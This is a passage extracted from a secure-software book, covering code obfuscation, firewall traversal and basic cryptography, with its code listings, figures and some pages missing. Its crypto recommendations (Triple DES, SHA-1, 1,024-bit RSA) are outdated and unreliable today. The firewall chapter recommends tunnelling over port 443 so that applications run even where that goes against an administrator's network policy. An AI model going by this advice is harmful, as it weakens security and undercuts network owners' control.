They just take an address and the length in bytes of the code on which we
wish to operate. This example is here solely for educational purposes. Don’t
use this exact idea in your own code! If you can afford the hit, use a few
rounds of a real encryption function instead.
Here, our encrypt function does an XOR for each byte with a variable
that gets updated after each XOR operation, and the decrypt function does
the inverse:
We embed these calls into our code so that we can encrypt and decrypt
parts of our program on the fly. We don’t actually make any calls to this
code yet. First we need to identify functions we want to encrypt, and figure
out how big they are. The best way to do that is with a debugger. Disas-
sembling the function usually tells you the size of the function in bytes. For
example, if we disassemble a function, we’ll get some output that ends in
something like
Code Obfuscation 425
Now we can search for the previous sequence of hex values in a hex
editor, and encrypt manually, and then we’re done. The modified binary
should work just fine, assuming we didn’t make any mistakes from the last
time we ran the program, of course.
This technique can be used fairly liberally, but it is rather labor intensive
the way we have spelled it out. It’s not really slow if you only do it over a
6. Often, the debugger starts numbering from a different location than a hex editor (which
usually starts from 0).
426 Chapter 15 Client-side Security
Conclusion
Protecting your intellectual property in software is impossible, but there are
methods you can apply to raise the bar for an attacker.
There is no solution that is 100% guaranteed to be effective. Thus,
a reasonable goal is to make the effort required to produce a “cracked”
version of software bigger than the expected payoff of breaking the code.
A good way to approach this goal is to apply a number of different tech-
niques judiciously.
By the way, you should assume that your attacker has also read this
book. If you are serious about protecting your software, you really must do
better than the tricks we’ve laid out in this chapter. Implement some of our
tricks, but devise your own using ours as inspiration. Anything new that
you do should, at the very least, give attackers a few headaches.
Through the Firewall
16
Basic Strategies
Firewalls are typically concerned with filtering traffic between networks
to enforce an access control policy for one of those networks. If you are
writing a client application that needs to connect to a server, then you will
427
428 Chapter 16 Through the Firewall
generally only be worried about firewalls from the point of view of a client.
People who install your server can just open up their firewall for all traffic
destined to the application (although see the discussion on server proxies
later).
Many firewalls are configured to allow all connections that originate
from the inside. This means that you can test your software from many
different networks and still not notice that it won’t work with some fire-
walls. This is a serious testing challenge.
Occasionally, an administrator will want to control the kinds of traffic
that can originate from the local network. There are a lot of good reasons
for this kind of policy. It can keep attackers who find a flaw in your network
from using it as a base for further attacks. It can stop malicious Trojan horses
from contacting their creators. It can also stop software you download that
may not be of the best quality from exposing itself through your network.
For example, imagine a client for a new streaming media format, in which
the client has a buffer overflow. An attacker could present you with a bogus
media clip, or inject data into a valid media clip that would exploit the over-
flow and run code on your machine.
There are two different ways in which administrators tend to control
outbound traffic. The first is port-based packet filtering. Under this scheme,
traffic destined to particular ports (which usually indicate particular proto-
cols) is allowed to pass, but everything else is blocked.
The second way administrators control outbound traffic is by using an
application proxy. In this scheme, the firewall lets no traffic cross. The internal
machines are not actually capable of routing packets past the local network.
However, the firewall can see both networks, and has inwardly visible proxies
for supported applications. A proxy is a program that mimics the server to
the client, and mimics the client to the server, acting as an intermediary. Gen-
erally, a proxy machine offers more security than simple packet filtering.
Proxies are usually very simple pieces of code, written to be robust. It gener-
ally shouldn’t be possible to buffer-overflow the proxy. An attacker may get
the proxy to pass on a buffer overflow to a real client. However, proxies
greatly limit the risk of a successful exploit.
Note that application firewalls are a good example of a case when your
clients probably do not have a valid IP address. Instead, the network behind
the firewall has IP addresses that are not Internet routable. For example,
machines behind the firewall may be assigned IP addresses starting with 10.,
such as 10.1.1.15. They will be able to reach the firewall, and perhaps
other machines that are also behind the firewall. The application proxy will
Basic Strategies 429
act on behalf of the client. Your server will see a valid client coming from a
valid IP address, but this will be the IP address of the firewall.
There are other configurations in which the client can have an IP
address that cannot be routed, including ones that do not involve a firewall
at all. For example, an organization may be given a single IP address that
can be routed on the Internet, yet have dozens of machines they wish to
connect to the Internet. The standard way to do this is by using network
address translation (NAT). The mechanics of NAT are very similar to those
of a proxy firewall.
The practical consequence of these configurations is that your server-
side application must recognize that two different clients running on two
different machines can connect from the same IP address.
One of the most common strategies for clients needing to circumvent
a firewall is to place servers on the HTTP port (port 80). The theory goes
that everybody allows outbound HTTP traffic, so this should work well. In
practice, this strategy works in most places, but is not a universal solution
because application proxies do not pass through the traffic.
The next thing people tend to try is to make traffic “look” like HTTP
traffic. This may work for proxies positioned on port 80, but it doesn’t
easily work for proxies placed on different ports. Web browsers have options
to support proxies that know the port to which they should send traffic. Of
course, your application will not know a priori what port is used for HTTP
proxying. You can try every single port and see which one works, but that
can cause intrusion detection systems to enable (which often results in the
client getting cut off from the Internet).
Additionally, even if the proxy is on port 80, many firewalls examine the
traffic to make sure it is valid for the protocol. In this case, you need to wrap
your connections in HTTP requests and responses. For some applications,
this can be a bit tricky, considering that HTTP is a “command/response” pro-
tocol. The client always causes the server to respond; the server never sends
messages out of the blue. The new protocol SOAP can help automate tunnel-
ing protocols over HTTP. However, people who find tunneling over HTTP
an unwanted abuse will find it easy to detect and drop SOAP transactions.
Sending traffic to port 443 (the HTTPS [secure HTTP] port) is a more
portable solution than sending it to port 80. Many firewalls let HTTPS
traffic through that proxy regular HTTP requests. However, it is possible
also to proxy HTTPS.
Generally we recommend tunneling through port 443 because it is a
more universal solution, and because it is less susceptible to traffic analysis.
430 Chapter 16 Through the Firewall
Client Proxies
As we previously mentioned, tunneling through port 443 isn’t going to make
your application work with every firewall. If you want to be able to support
all potential users, then you need to have your software work well with prox-
ies. One approach to this problem is to write your own proxy server for your
application. If people are interested in using your application and they are
behind a proxying firewall, then they can install your proxy on their firewall.
Client Proxies 431
Server Proxies
If you wish to install servers in organizations that are highly paranoid, you
should also consider writing a simple server proxy. Clients (or a suitable
proxy) connect to the server proxy, which communicates with the actual
server. In the ultimate configuration, the actual server would not be able to
be routed. It should only be able to communicate with the proxy server, and
should be required to provide machine-specific authentication credentials to
communicate with the proxy.
Such a configuration is desirable, because it prevents outsiders from
dealing directly with a large, complex program that probably requires priv-
ilege and may have security problems. If an attacker does manage to break
the server while connecting through the server proxy, the only way to launch
an attack on an external network would be to back out the proxy. Such an
attack would likely be difficult if your proxy does not allow the server to
initiate arbitrary connections to the outside world. The external damage a
successful attacker could inflict would, at worst, be limited to those hosts
SOCKS 433
SOCKS
Proxy-based firewalls have the potential to provide much more security than
the typical packet-filtering firewall. The significant downside to this kind of
firewall is the difficulty of getting new applications to run with them. There
is a real need for a generic proxy server that can proxy arbitrary applications.
SOCKS is a protocol for proxying arbitrary TCP connections. Version 5
adds support for UDP (Unreliable Datagram Protocol) proxying as well. In
this protocol, a SOCKS server accepts connections on a single port from the
internal network. Clients connect to that port, provide the server with con-
nection information, and then the server establishes and proxies the actual
connection.
The end application needs to know how to speak to the SOCKS server.
Some programs build in SOCKS support as an option (including, for example,
Netscape and Internet Explorer). However, many applications can be run or
recompiled with SOCKS support without having to change the actual code.
SOCKS implementations usually come with two libraries that replace stan-
dard network calls: one that can be statically linked with a program and the
other that can be dynamically linked. Both libraries replace the common C
networking API with SOCKS-aware versions of the calls.
The dynamic library is useful because it allows applications to use
SOCKS directly without recompiling. Additionally, one can turn off SOCKS
support by removing the appropriate library from the library load path. The
drawback of the dynamic library is that it does not work with setuid programs.
Such programs can only work if statically compiled with SOCKS support.
SOCKS doesn’t encrypt data between the application and the server.
Additionally, prior to version 5, SOCKS lacked any sort of authentica-
tion. Even now, authentication is all but worthless because of the lack of
encryption.
The primary drawback to SOCKS is that any suitable application
can connect through a firewall, as long as the end user links against the
appropriate library. The administrator cannot prevent users from running
applications on a per-protocol basis. The typical access control restrictions
are based on the destination address, which can, of course, be forged.
434 Chapter 16 Through the Firewall
■ rconnect
■ rbind
■ rgetsockname
■ rgetpeername
■ raccept
■ rsendto
■ rrecvfrom
■ rwrite
■ rsend
■ rsendmsg
■ rread
■ rrecv
Peer to Peer 435
Peer to Peer
Peer-to-peer communication, a term popularized by the success of Napster,
refers to client-to-client communication. For example, consider an instant
message service. Generally, all users log in to a central server (or network
of servers). The server tells the user which people of interest are currently
connected to the server. When Alice wishes to send a message to Bob, the
server may either act as an intermediary for the messages, or it may put
Alice and Bob in direct contact. This second strategy is the peer-to-peer
model, which is effective at removing burden from the server. Additionally,
this strategy can provide privacy benefits to the end user, because potentially
sensitive messages or documents can be exchanged directly between users,
instead of through an intermediary that may not be trusted.
The peer-to-peer model is quite appealing. However, firewalls provide a
large barrier to implementing a successful system.
In most peer-to-peer applications, clients stay directly connected to a
server, which, at the very least, brokers point-to-point connections. We’ve
already covered client/server communication in the presence of a firewall,
and the same techniques apply here.
However, what should be done when it comes time for two clients to
communicate? The clients need to establish a direct connection: one client
opening a server socket to which the other client connects. The first problem
is that good firewalls prevent someone from opening a server socket on an
arbitrary port. Some firewalls may actually allow this as long as the server
binds to the HTTP port (or some other common server port), but this
doesn’t often work for many reasons. First, services may already be run-
ning on that port. Second, the user may not have privileges to bind to the
port in question.
The same problem can happen without a firewall. A client using NAT
may be able to bind to a local port, but that port is only visible inside the
local network unless the NAT server specifically knows to redirect external
connection requests.
Also, just because one of the clients is able to establish a server port
successfully doesn’t mean that the other client’s firewall permits a connection
436 Chapter 16 Through the Firewall
to that port, especially if the serving client is only able to bind to a high
port.
If neither client can open up a server port that the other can successfully
use, then peer-to-peer connectivity is not possible. There are two options.
First, you can revert to using the server as an intermediary. Second, you
can allow clients to configure a proxy. Proxies could exist anywhere on the
Internet, as long as you are willing to give the proxy server away. Gener-
ally, the proxy server runs on port 443, or some other port that is widely
reachable.
Allowing anyone to run a proxy is desirable, because some administra-
tors may decide that your proxy is a deliberate attempt to thwart their net-
work policy, and thus refuse to route traffic to your proxy. If proxies can
spring up anywhere, the end user is more likely to be able to run your
application.
We recommend that you determine a user’s firewall capabilities the first
time that person starts the client and logs in to the server. Additionally, you
need to take into account that some users are mobile and are behind differ-
ent firewalls at different times. The firewall capability determination process
is something that the user should be able to rerun when necessary.
A good strategy for determining a firewall configuration is to try to bind
a server socket to two ports: the HTTPS port and a high port. Pick the same
high port every time, so that people who specifically want to poke holes in
their firewall for your application can do so. Then, for each successful bind
operation, the server should try to connect to each port to see if outside enti-
ties can reach. If both of those ports are inaccessible, then the client in ques-
tion should be labeled as unable to serve documents. Additionally, the client
should explicitly try to connect to your chosen high port on the server, to see
if the client can make outgoing connections to servers on that port.
If you choose to support proxy servers (which you should, because some
people with draconian firewalls may need it), then the user should be able to
enter in an address for such a server and decide whether to use it always or
only to use it when no direct connection is otherwise possible.
When two clients wish to connect, it is the server’s responsibility to
take the stored information and determine who should perform the action
to initiate a connection. If one of the clients can serve on the application-
specific port and the other can reach it (directly or through a proxy), then do
that. If the clients can talk with one acting as the server on the HTTPS port
(again, directly or through a proxy), then do that. Otherwise, you can have
Conclusion 437
each connect to a proxy, and then have the two proxies communicate, or
you can revert to sending everything across the central server.
Unless a client is configured to use a proxy always, you should give a
warning whenever a direct peer-to-peer connection is not possible, because
some users may be counting on their privacy.1
Conclusion
We’ve seen throughout this book that security commonly trades off against
usability. This is certainly the case with firewalls, which are widely cursed
whenever they prevent someone from doing what that person wants to do.
Although the person setting policy on a firewall may wish to keep users
from running your application, your goal is the opposite. You usually want
users to be able to run your application, even if it violates the intended
policy on some networks.
If your application is client/server based, then you have an easy time
of it, because most firewalls pass through traffic if your server runs on port
443. For the few that don’t, you may wish to provide an application proxy.
If you do, keep it simple!
Getting peer-to-peer services to work transparently though a firewall
tends to be much more difficult. The best strategy is to be flexible enough to
support every common security configuration.
1. Note that peer-to-peer links should be encrypted. The most secure option for the client is
for you to set yourself up as a PKI, and have clients make validated SSL connections to each
other. This is by far the most difficult option. Another reasonable option is to have the client
and server perform a Diffie-Hellman key exchange through the central server (see [Schneier,
1996]). As a last resort, the server could generate a symmetric key and give the key to both
clients.
This page intentionally left blank
Appendix A
=
Cryptography Basics
439
440 Appendix A Cryptography Basics
your keys should be safe well beyond your lifetime, barring unforeseen
advances in quantum computing, or unforeseen breaks in the cryptographic
algorithms being used, because there are 2128 possible keys. Even the fastest
computer cannot try all possible keys quickly enough to break a real system.
Most security experts believe that 256-bit keys offer enough security to keep
data protected until the end of the universe.
Attackers don’t often try the direct “try-each-key-out” approach, even
with fairly weak cryptographic systems (such as RC4 with 40-bit keys), mostly
because there are usually much easier ways to attack a system. Security is a
chain. One weak link is all it takes break the chain. Used properly, cryptog-
raphy is quite a strong link. Of course a link alone doesn’t provide much of
a chain. In other words, by itself, cryptography is not security. It is often
easier for an attacker to hack your machine and steal your plaintext before
it is encrypted or after it is decrypted. There are so many security flaws in
current software that the direct attack on a host is often the best bet. Even
prominent cryptographer Bruce Schneier agrees with this position now, as
his quote at the beginning of this appendix attests.
Attacks on Cryptography
In this section we discuss the most common classes of attacks on crypto-
graphic systems. Understanding the things that can go wrong is important in
helping you evaluate any cryptographic algorithms you may wish to use.
There are also plenty of attacks that are not really mathematical in
nature. Instead, they rely on nefarious means to obtain a key. Examples
include theft and bribery. Theft and bribery are certainly quite effective, and
are often very easy to carry out. Also, never underestimate the utility of a
social engineering attack. The famous criminal hacker Kevin Mitnick
testified to Congress that this is often the easiest way to break a system.
Types of Cryptography
There are many different types of cryptography that you may want to use
in your applications. Which one you use depends on your needs. Using more
than one type of cryptography in a single application is often appropriate.
We ignore cryptography that isn’t considered modern. It’s definitely in your
best interests not to use traditional algorithms, as opposed to modern ciphers.
Additionally, there are far better sources for such information, such as
[Khan, 1996].
Symmetric Cryptography
Symmetric algorithms for cryptography are primarily intended for data
confidentiality, and as a side effect, data integrity. They use a single key
shared by two communicating parties in their computation. The shared key
must remain secret to ensure the confidentiality of the encrypted text.
In a symmetric cipher, the same key is used both to encrypt and to
decrypt a plaintext message. The message and the key are provided as input
to the encryption algorithm, producing ciphertext that can safely be trans-
mitted over an insecure medium (like, say, the Internet). On the other side,
the decryption algorithm (which is necessarily closely related to the encryp-
tion algorithm) takes the ciphertext and the same secret key as its inputs
and produces the original message. A high-level overview of symmetric
algorithms is shown in Figure A–1.
Because both parties in a symmetric cipher communication must possess
the same key, and because the key must remain secret, special arrangements
need to be made to distribute the secret key securely. It must remain secret
at all costs, or the algorithm loses all of its power. One reasonable way to
distribute a secret key is to put a copy of it on a floppy disk, and to deliver
Symmetric Cryptography 445
Message
Figure A–1 Symmetric cryptographic algorithms use secret key pairs between
communicating entities.
it to the person with whom you wish to communicate securely. The vulner-
ability inherent in this method of key distribution is the biggest disadvantage
of symmetric algorithms. Lose the disk, and all bets are off.
Some well-known protocols exist for distributing a symmetric key over
an insecure medium (Diffie-Hellman is a good example). However, when
using these protocols, one must be aware of the requirement for good
authentication. Securely exchanging keys with a remote server is certainly
possible, but there may be no confirmation (unless you require it) that you
are sending key to the correct entity. Perhaps counterintuitively, the most
common way keys are exchanged for symmetric ciphers is through public
key cryptography (discussed later).1
1. In fact, Diffie-Hellman is a type of public key cryptography that provides key exchange,
but no authentication.
446 Appendix A Cryptography Basics
than block ciphers, but most of the well-known and well-studied symmet-
ric algorithms in common use are block ciphers.
In the easiest to understand block cipher, each block of data is encrypted
separately (this type of cipher is said to work in ECB mode). Be forewarned
that this obvious approach presents some security risks. For example, suppose
that every block of 64 bits in a data file is encrypted separately. Every time
the 64-bit plaintext string “security” (assume 8 bits per character) gets
encrypted, it encrypts to the exact same ciphertext string. If an attacker sees
the plaintext for a sample message, and the message happens to include the
word “security” perfectly aligned on a 64-bit boundary, subsequently, every
message with “security” so aligned is immediately apparent to an attacker.
Information like the way a specific word is encoded can help an attacker
immensely, depending on the circumstances. In one attack, a bad guy can
modify encrypted data without any knowledge of the key used to encrypt
the information by inserting previously recorded blocks into a new message.
To delve a bit more deeply, consider a money payment system in which
deposits are sent in a strictly encrypted block cipher format. In our example,
the first 128 bits represent the account number in which to deposit the
money, and the rest of the message encodes the amount of the deposit, the
time at which the message was sent, and perhaps some other information.
If an attacker knows that the first 128 bits represent the account number,
and if the attacker also happens to know that a target account number
encrypts to a particular string, the attacker can modify messages in transit
to divert a deposit into the target account. The attack works by replacing
the real account number in its encrypted format with the attacker’s own
account number (also in encrypted form).
Stream ciphers suffer a similar problem that is generally fixed only by
using a MAC. However, block ciphers can be used in such a way as to miti-
gate the risk we outlined earlier. There are several different strategies that
avoid the problem. For example, in CBC mode, blocks are still encrypted
one at a time, but the initial state for each block is dependent on the cipher-
text of the previous block before being encrypted.
CBC mode is the default mode for many block ciphers. There are many
other useful cipher modes. Another mode, called counter mode, uses an arbi-
trary but reproducible sequence of numbers as an additional input to the
cryptographic algorithm. The particular sequence doesn’t matter very much.
Usually a pseudorandom sequence seeded with the clock time is more than
sufficient. The counter is then mixed with the plaintext before encrypting.
In any such approach, the counter cannot repeat, ever, if security is to be
Symmetric Cryptography 447
2. According to Bruce Schneier, really long messages may still make picking out possible
patterns possible, but a risky message would have to be at least 34 GB in the case of a 64-bit
block before this would even start to become an issue.
3. Note that block size can also be a factor. Sixty-four-bit blocks may not be secure enough,
but 128-bit blocks should be more than adequate.
448 Appendix A Cryptography Basics
4. There is one perfect encryption algorithm called a one-time pad. It tends not to be very
practical. We discussed it in Chapter 12.
Symmetric Cryptography 449
created by IBM (and partners), under the guidance of the NSA. For many
years, DES has been a US government standard. DES is a block cipher that
uses 56-bit keys.5 Many modern ciphers have been patterned after DES,
but few have stood up well to cryptanalysis, as DES has. The main problem
with DES is the very short key length, which is completely inadequate in this
day and age.
It is possible to adapt DES with its short key length to be more secure,
but this can’t be done arbitrarily. One idea that many people try involves
applying DES twice—something known as double encryption. In such a
scheme, a message is encrypted once using one key, then encrypted again
(ciphertext to modified ciphertext) using a second key. A very subtle form
of attack turns out to render this kind of double encryption not much better
than single encryption. In fact, with certain types of ciphers, multiple encryp-
tion has been proved to be no better than single encryption.
Although double encryption isn’t very effective, it turns out that triple
encryption is about as effective as one might naively expect double encryption
to be. For example, 56-bit DES, when triple encrypted, yields 112 bits of
strength, which is believed to be more than adequate for any application.
Triple-encrypted DES (otherwise known as Triple DES, and often seen
written as 3DES) is a popular modern symmetric block algorithm.
Triple DES is not a panacea though. One problem with Triple DES is
speed, or lack thereof. Partially because of the speed issue, NIST (part of
the US Department of Commerce) initiated a competition for the AES in
1999. NIST chose a winner in October 2000, and as of this writing, is close
to ratifying it as a standard. The winning algorithm, called Rijndael, was
created by Joan Daemen and Vincent Rijmen. Because of the difficulty of
pronouncing the algorithm’s name, most people call it AES.
One risk of the AES competition is that all the algorithms are relatively
new. No amount of scrutiny in the short lifetime of the candidate algorithms
can compare with the intense scrutiny that has been placed on DES over the
years. In truth, it is very likely that Rijndael will be at least as good an algo-
rithm (for use over the next 50 years) as DES has been since its introduction,
despite a relatively short lifetime.
Although Triple DES does have some performance issues, for the time
being it is a highly recommended solution. A big advantage to this algorithm
5. The key is actually 64 bits, but 8 of the key bits are parity bits. Because the parity bits are a
function of other bits of the key, they provide no added cryptographic security, meaning DES
keys are effectively 56 bits.
450 Appendix A Cryptography Basics
is that it is free for any use. There are several good implementations of DES
that are easily downloaded off the Internet (we link to encryption packages
on this book’s companion Web site, and discuss several in Chapter 11). AES
is also free for any use, with several free implementations. It is also much
faster than DES. However, as of this writing, it’s still not present in many of
the popular encryption libraries, mainly because of the fact that the NIST
standard hasn’t been completely finalized. Undoubtedly, it will make its way
into libraries at that time, which we expect to be soon.
Plenty of commercial symmetric algorithms are also available. Because
these algorithms are proprietary, they tend not to be as well analyzed, at
least publicly. However, some proprietary algorithms are believed to offer
excellent security, and they run quite efficiently to boot. Nonetheless, for
most applications, we see no overwhelming reason to recommend anything
other than the standard for most applications—Triple DES or AES.
One problem with a symmetric key solution is the requirement that each
pair of communicating agents needs a unique key. This presents a key man-
agement nightmare in a situation with lots of users. Every unique pair of
communicating entities needs a unique key! As a way around this problem,
some designers turn to key derivation algorithms. The idea is to use a master
key to derive a unique key for each communicating pair. Most often, key
derivation uses some unique user identification information (such as user
serial number) to transform the master key. The inherent risk in this scheme
is obvious. If the master key is compromised, all bets are off. In fact, if even
one derived key can be cracked, this may provide enough information to
attack the master key, depending on the derivation algorithm.6 Regardless
of this risk, many systems rely on symmetric algorithms with key derivation
to control cryptographic costs. Before you do this, you should, of course,
perform a risk analysis.
In a related practice, designers often make use of session keys instead of
using the same symmetric key for all encrypted communication between two
agents. As in the previously derived key, the idea is to use a master key for
each communicating pair (perhaps itself derived from a global master key)
to derive a session key. In case the session key is compromised, the system
can continue to be useful. Once again, the idea of session key derivation
from a master communicating-pair key presents risks to the entire system.
Much work has been done to build practical solutions for this problem.
For example, Kerberos is an excellent technology for symmetric key
management.
Alice Bob
Bob’s Bob’s
Public Key Private Key
Insecure
Medium
Message
Figure A–2 A high-level view of public key cryptography. Note the asymmetric pairs of keys.
Many people intuitively believe that there are a small number of very
large primes, and go on to reason that there are likely to be many problems
with the RSA system. Why couldn’t an attacker simply create a database of
all possible keys? Each possible key could be tried in a brute-force attack.
The bad news is that this sort of attack is possible. The good news is that
there are far more prime numbers than most people suspect. There are
approximately 10151 primes of length up to 512 bits, which means there
are enough primes of as many as 512 bits to assign every atom in the uni-
verse 1074 prime numbers without ever repeating one of those primes.
In RSA, security is mostly dependent on how difficult the composite of
two prime numbers is to factor. Recall that in a symmetric cryptosystem we
said that 256-bit keys are believed to be large enough to provide security for
any application through the end of time. With RSA and other public key
cryptosystems, the same heuristic does not apply! In fact, it is very difficult
to say what a good public key system length will be in 50 years, never mind
any farther down the road. A 256-bit number represents far fewer possible
RSA keys than 2256, because not every number is prime. So the size of the
space is considerably smaller for a brute-force attack. In the end, comparing
public key length to symmetric key length directly is like comparing apples
and oranges.
One major concern is our inability to predict what kinds of advances
researchers will make in factoring technology. Many years ago, it was
believed no one would ever have the resources necessary to factor a 128-bit
number. Now anyone willing to spend just a few months and a few million
dollars can factor a 512-bit number. As a good security skeptic, you should
use no less than a 2,048-bit key for data requiring long-term security. That
is, use 2,048 bits if your data need to remain secure for long periods of time
(ten or more years). Keys that are 1,024 bits are appropriate for most uses
for the time being. However, if you’re reading this in 2005, you should check
more recent sources to make sure that 1,024-bit keys are still considered
sufficient for practical uses, because they may not be!
What’s the drawback of using a very long key? The problem is that with
public key cryptography, the longer the key, the longer it takes to encrypt
using it. Although you may be well served with a huge (say 100,000-bit)
key, you are really not likely to want to wait around long enough to encrypt
a single message.
One common misconception is that RSA can’t be used because it is
patented. This used to be true, but the patent expired in September 2000
and cannot be renewed. There are other public key algorithms that are
454 Appendix A Cryptography Basics
Part 2: Communication
Attacker relays requests to server
Client talks to attacker
(after recording)
selecting an algorithm that provides a digest size of no fewer than 160 bits.
SHA-1, which gives a 160-bit hash, is a reasonable hashing function to use.
The more modern SHA algorithms—SHA-256, SHA-384, and SHA-512—
are potentially better choices for high-security needs (as is Tiger), but aren’t
yet widely available, and have yet to receive significant analysis from the
cryptographic community.
Hash functions can be used to ensure data integrity, much like a tra-
ditional checksum. If you publicly release a regular cryptographic hash for
a document, anyone can verify the hash, assuming he or she knows the hash
algorithm. Most hash algorithms that people use in practice are published
and well understood. Again, let us remind you that using proprietary cryp-
tographic algorithms, including hash functions, is usually a bad idea.
Consider the case of a software package distributed over the Internet.
Software packages available through FTP were, in the recent past, associated
with checksums. The idea was to download the software, then run a program
to calculate your version of the checksum. The self-calculated checksum
could then be compared with the checksum available on the FTP site to
make sure the two matched and to ensure data integrity (of sorts) over the
wire. The problem is that this old-fashioned approach is not cryptograph-
ically sound. For one thing, with many checksum techniques, modifying the
program to download maliciously, while causing the modified program to
yield the exact same checksum, is possible. For another, a Trojan horse version
of a software package can easily be published on an FTP site with its asso-
ciated (poorly protected) checksum. Cryptographic hash functions can be
used as drop-in replacements for old-style checksum algorithms. They have
the advantage of making tampering with posted code more difficult.
Be forewarned, there is still a problem with this distribution scheme.
What if you, as the software consumer, somehow download the wrong
checksum? For example, let’s say that we distribute the xyzzy software pack-
age. One night, some cracker breaks into the distribution machine and
replaces the xyzzy software with a slightly modified version including a
malicious Trojan horse. The attacker also replaces our publicly distributed
hash with the hash of the Trojan horse copy of the release. Now, when some
innocent user downloads the target software package, a malicious copy
arrives. The victim also downloads a cryptographic checksum and tests it
against the software package. It checks out, and the malicious code appears
safe for use. Obviously, the hash alone is not a complete solution if we can’t
guarantee that the hash itself has not been modified. In short, we need a
way to authenticate the hash.
Cryptographic Hashing Algorithms 459
There are two possible situations that arise when we consider the
authentication problem. We may want everyone to be able to validate the
hash. If so, we can use digital signatures based on PKI, as discussed later,
or we may want to restrict who can validate the hash. For example, say
we send an anonymous letter to the sci.crypt newsgroup posting the full
source code to a proprietary encryption algorithm, but we want only a single
closest friend to be able to verify that we posted the message. We can use a
MAC to achieve these results.
MACs work by leveraging a shared secret key, one copy of which is used
on the recipient end. This key can be used to authenticate the data in question.
The sender must possess the other copy of the secret key. There are several
ways a MAC can work. They generally involve a hash of the text, and then
several hashes of the resulting hash and the secret key.8 If you don’t have
the secret key, there is no way that you can confirm the data are unaltered.
Another, more computationally expensive approach is to compute the hash
like normal, then encrypt the hash using a symmetric algorithm (like DES).
To authenticate the hash, it must first be decrypted.9
MACs are useful in lots of other situations too. If you need to perform
basic message authentication without resorting to encryption (perhaps for
efficiency reasons), MACs are the right tool for the job. Even when you are
using encryption already, MACs are an excellent way to ensure that the
encrypted bit stream is not maliciously modified in transit.
If designed carefully, a good MAC can help solve other common protocol
problems. One widespread problem with many protocols is evidenced during
what is called a playback attack (or a capture/replay attack). Say we send a
request to our bank, asking for a transfer of $50 into John Doe’s banking
account from ours. If John Doe intercepts that communication, he can later
send an exact duplicate of the message to the bank! In some cases the bank
may believe we sent two valid requests!
Playback attacks turn out to be a widespread problem in many real-
world systems. Fortunately, they can be mitigated with clever use of MACs.
In our previous bank transfer example, assume we use a primitive MAC that
hashes the request along with a secret key. To thwart playback we can make
sure that the hash never comes out the same. One of the best ways is to use
8. You should not try to design your own MAC. Good MACs are driven by proved security
properties. Instead, use a well-trusted MAC such as HMAC.
9. There are many constructions for MACs that do not depend on cryptographic hashing. See
Bruce Schneier’s Applied Cryptography [Schneier, 1996] for more details.
460 Appendix A Cryptography Basics
have some known weaknesses, and should not be used for new applications.
Legacy applications should even try to migrate from MD-4. SHA-1 is a
good algorithm, as is RIPEMD-160, which has a slightly more conservative
design than SHA-1. Both these algorithms have 160-bit digest sizes. This
equates to approximately an 80-bit symmetric key, which is a bit small for
long-term comfort, although currently sufficient for most applications. If
you’re willing to trust algorithms that are fairly new, Tiger, SHA-256, and
SHA-512 all look well designed, and are quite promising.
Digital Signatures
A digital signature is analogous to a traditional handwritten signature. The
idea is to be able to “sign” digital documents in such a way that it is as easy
to demonstrate who made the signature as it is with a physical signature.
Digital signatures must be at least as good as handwritten signatures at
meeting the main goals of signatures:
1. A signature should be proof of authenticity. Its existence on a
document should be able to convince people that the person
whose signature appears on the document signed the document
deliberately.
2. A signature should be impossible to forge. As a result, the person
who signed the document should not be able to claim this signature
is not theirs.
3. After the document is signed, it should be impossible to alter the
document without detection, so that the signature can be invalidated.
4. It should be impossible to transplant the signature to another
document.
Even with handwritten signatures, these ideals are merely conceptual,
and don’t really reflect reality. For example, forging ink signatures is possible,
even though few people are skilled enough to do it. However, signatures
tend not to be abused all that often, and thus hold up in court very well.
All in all, ink signatures are a “good-enough” solution.
To quote Matt Blaze, “physical signatures are weakly bound to the
document but strongly bound to the individual; digital signatures are
strongly bound to the document and weakly bound to the individual. This
fact often amazes people, because they figure such a signature is akin to the
“signature” files that people often place at the bottom of e-mail messages
(usually a bunch of ASCII). If this were what digital signatures were like,
Digital Signatures 463
then they wouldn’t be very useful at all. It would be far too easy to copy a
signature out of one file and append it directly to another file for a “perfect
forgery.” It would also be possible to modify a document easily after it was
supposedly signed, and no one would be the wiser. Thankfully, digital signa-
tures are completely different.
Most digital signature systems use a combination of public key cryp-
tography and cryptographic hash algorithms. As we have explained, public
key cryptographic systems are usually used to encrypt a message using the
receiver’s public key, which the receiver then decrypts with the correspond-
ing private key. The other way works too. That is, a private key can be used
to encrypt a message that can only be decrypted using the corresponding
public key. If a person keeps his or her private key completely private (which
isn’t necessarily a great assumption, because someone who has broken into
your machine can get your key after you use it), being able to decrypt a
message using the corresponding public key then constitutes proof that the
person in question encrypted the original message. Determining whether a
signature is trustworthy is usually done through a PKI.
Digital signatures are not just useful for signing documents; they’re
useful for almost all authentication needs. For example, they are often used
in conjunction with encryption to achieve both data privacy and data
authentication.
A digital signature for a document is usually constructed by crypto-
graphically hashing the document, then encrypting the hash using a private
key. The resulting ciphertext is called the signature. Anyone can validate the
signature by hashing the document themselves, and then decrypting the
signature (using either a public key or a shared secret key), and comparing
the two hashes. If the two hashes are equal, then the signature is considered
validated (assuming the person doing the validation believes the public key
they used really belongs to you).
Note that the signature need not be stored with the document. Also, the
signature applies to any exact digital replica of the document. The signature
can also be replicated, but there is no way to apply it to other documents,
because the resulting hash would not match the decrypted hash.
The one problem with digital signatures is nonrepudiation. People can
always claim their key was stolen. Nonetheless, digital signatures are widely
accepted as legal alternatives to a physical signature, because they come at
least as close to meeting the ideals presented here as do physical signatures.
The US Congress passed the Millennium Digital Commerce Act in 2000
which states:
464 Appendix A Cryptography Basics
One problem is that the verbiage of the Act is a bit too lenient for our
tastes. It says, “The term ‘electronic signature’ means an electronic sound,
symbol, or process attached to or logically associated with a record and exe-
cuted or adopted by a person with the intent to sign the record.” This means
that regular old ASCII “signatures” such as
Conclusion
Cryptography is a huge field. We won’t even pretend to cover it completely
in this book. For anything you can’t get here and in Chapter 11, we highly
recommend Schneier’s Applied Cryptography [Schneier, 1996].
As we previously mentioned, there are plenty of cool things you can do
with cryptography that Bruce talks about, but we won’t have the space to
discuss. For example, he discusses how you may create your own digital
certified mail system. He also discusses how to split up a cryptographic
secret in such a way that you can distribute parts to n people, and the secret
will only be revealed when m of those n people pool their resources. It’s
definitely worth perusing his book, if just to fill your head with the myriad
possibilities cryptography has to offer.
References
=
[Aleph, 1996] One, Aleph. Smashing the Stack for Fun and Profit. Phrack
49, November 1996.
[Arbaugh, 2000] Arbaugh, Bill, Bill Fithen, and John McHugh. Windows of
